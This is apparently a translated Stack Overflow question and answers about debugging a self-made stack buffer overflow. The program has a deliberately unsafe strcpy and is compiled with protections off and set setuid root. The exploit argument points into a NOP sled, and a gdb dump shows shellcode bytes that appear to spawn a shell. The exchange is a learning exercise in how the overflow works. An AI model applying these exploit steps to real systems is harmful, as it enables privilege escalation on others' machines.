使用缓冲区溢出执行存储在环境变量中的shellcode

时间:2014-12-20 20:09:44

标签: c linux segmentation-fault buffer-overflow exploit

我使用下面的代码尝试通过溢出searchstring变量来执行存储在环境变量中的一些shellcode,以便main的返回地址包含环境变量的地址。但是,我在printf命令之前遇到了分段错误。

#include <stdio.h>
#include <string.h>

void main(int argc, char *argv[]){

    char searchstring[100];

    if(argc > 1)
        strcpy(searchstring, argv[1]);
    else // otherwise
        searchstring[0] = 0;

    printf("Here");

}

我使用

编译代码
gcc -m32 -g -o overflow.o overflow.c -fno-stack-protector -z execstack

为了禁用堆栈保护程序并使堆栈可执行。我还通过修改/ proc / sys / kernel / randomize_va_space来包含0来禁用ASLR。我还将所有者和组更改为root:

sudo chown root:root overflow.o
sudo chmod u+s overflow.o

环境变量在shellcode之前包含一个NOP底座,我确定地址0xffffd910位于NOP底座的中间。因此我使用

运行程序
./overflow.o $(perl -e 'print "\x10\xd9\xff\xff"x40')

但看到分段错误。

使用gdb我在main上设置断点,然后逐步执行指令。 seg错误发生在到达printf命令之前,并且在seg错误之后立即检查堆栈指针和指令指针我看到了

(gdb) x/32x $esp
0xffffd910:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd920:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd930:     0x90909090      0x90909090      0xdb31c031      0xb099c931
0xffffd940:     0x6a80cda4      0x6851580b      0x68732f2f      0x69622f68
0xffffd950:     0x51e3896e      0x8953e289      0x0080cde1      0x4d524554
0xffffd960:     0x6574783d      0x53006d72      0x4c4c4548      0x69622f3d
0xffffd970:     0x61622f6e      0x58006873      0x4d5f4d44      0x47414e41
0xffffd980:     0x6d3d4445      0x6f687465      0x6c633d64      0x69737361

(gdb) x/x $eip  
0x90909090:     Cannot access memory at address 0x90909090

检查main的堆栈帧(之前找到的地址为0xffffd460)确认地址0xffffd910确实被复制到searchstring中:

(gdb) x/32x 0xffffd460
0xffffd460:     0xffffd49f      0xffffd49e      0xffffd590      0xffffd910
0xffffd470:     0xffffd910      0xffffd910      0xffffd910      0xffffd910
0xffffd480:     0xffffd910      0xffffd910      0xffffd910      0xffffd910
0xffffd490:     0xffffd910      0xffffd910      0xffffd910      0xffffd910
0xffffd4a0:     0xffffd910      0xffffd910      0xffffd910      0xffffd910
0xffffd4b0:     0xffffd910      0xffffd910      0xffffd910      0xffffd910
0xffffd4c0:     0xffffd910      0xffffd910      0xffffd910      0xffffd910
0xffffd4d0:     0xffffd910      0xffffd910      0xffffd910      0xffffd910

我不明白为什么堆栈指针和指令指针跳转到这些位置,即使main还没有完成执行?另外,为什么指令指针跳转到0x90909090而不是0xffffd910?这是导致分段错误的原因,还是一些我不知道的堆栈保护?

我意识到这是一个人为的例子,但我只是想知道发生了什么。

谢谢!

2 个答案:

答案 0 :(得分:2)

在查看汇编程序代码之后,我已经知道发生了什么。代码的最后3行是

0x08048485 <+59>:    mov    ecx,DWORD PTR [ebp-0x4]
0x08048488 <+62>:    leave  
0x08048489 <+63>:    lea    esp,[ecx-0x4]
0x0804848c <+66>:    ret

溢出searchstring变量会导致ebp-0x4中的数据被环境变量(0xffffd910)中NOP底座中间的地址覆盖。因此,上面的第1行留下了存储在ecx中的0xffffd910。

这意味着在上面的第3行中,ecx-0x4 = 0xffffd910 - 0x4 = 0xffff90c,并且该地址存储在esp中。存储在该地址的数据是0x90909090(因为我们仍然在NOP雪橇的中途)。最后,在上面的最后一行中,这个数据作为main()的返回地址从堆栈中弹出,这就是为什么我们最终得到eip = 0x90909090,并且弹出操作意味着esp被移回到0xffff90c + 0x4 = 0xffffd910。

我的错误一直是假设main()函数的行为与返回地址相同。 C没有&#34;返回地址&#34; - 这些是实现细节 - 在我的Arch Linux机器上使用gcc-multilib 4.9.2-1,这就是它的实现方式。

答案 1 :(得分:1)

esp指向你的shellcode是如此奇怪。打印“\ x10 \ xd9 \ xff \ xff”是环境变量的地址吗?

它会导致段错误,因为当执行RET时它会执行POP%eip,但你的%esp指向0x90909090,但当然你无法访问这个地址。